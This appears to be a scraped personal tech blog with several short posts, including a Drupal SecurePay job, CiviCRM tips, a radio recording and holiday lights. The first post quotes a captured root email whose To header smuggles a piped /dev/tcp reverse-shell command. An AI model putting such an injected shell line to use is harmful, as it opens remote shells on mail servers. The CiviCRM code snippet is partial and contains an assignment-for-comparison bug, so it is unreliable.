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A strange hack

Saw this on another servers /var/spool/mail/root , My guess is they are using something like formail or fetchmailrc to pipe into a TCP socket, cute!
From  Wed Feb  2 05:47:43 2011
X-Original-To: "root+:|exec /bin/sh 0 < /dev/tcp/ 1>&0 2>&0"
Date: Wed,  2 Feb 2011 05:47:43 +1100 (EST)
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Jeff Rule PBSfm recording

Click play to hear

Download it here

Jeff Rule (RIP) playing his show Red Stink Of Metal on PBS fm Melbourne, interview's Black Seed

Jeff Rule passed away in February 2006, this recording of his radio show was made around October.. 1999 ?


A nice small drupal job - implement securepay

Sometimes you get nice little jobs for a client that just takes a few hours, and then it's complete and everyone is happy, today I simply installed securepay module for ecommerce, although it was an unofficial module I used, still nice to just install something, tweak it slightly and it works

If only every day was like this.


SLAYER XMAS nearly complete

Check out our slayer xmas lights made from LED's, just gotta finish the A and the Y and mount it on the roof..

Curtesy of tshirtslayer


Things to be wary of in CiviCRM

Just stuff I've run into with 3.2.x branch, *hopefully* this is improved, and I don't see why not, as civicrm is a rapidly improving project.

This is not a list of CiviCRM Criticism's, but just some things to keep in mind.


The physics of angry birds

Pretty decent article covering some of the physics behind the awesome game angry birds

CiviCRM - Forcing a end date and/or start date of a membership

You can force the start date or end date of a membership by hooking into hook_civicrm_pre, this gets called before a write on the DB.

Obviously you need to check their membership status a little closer, make sure it's not an admin trying to add one through the interface etc, but heres a rough example (as a Drupal module)

function mymodule_civicrm_pre( $op, $objectName, $objectId, &$objectRef ) {

if($op == 'create' && $objectName = 'Membership') {

  if($objectRef['end_date']) {



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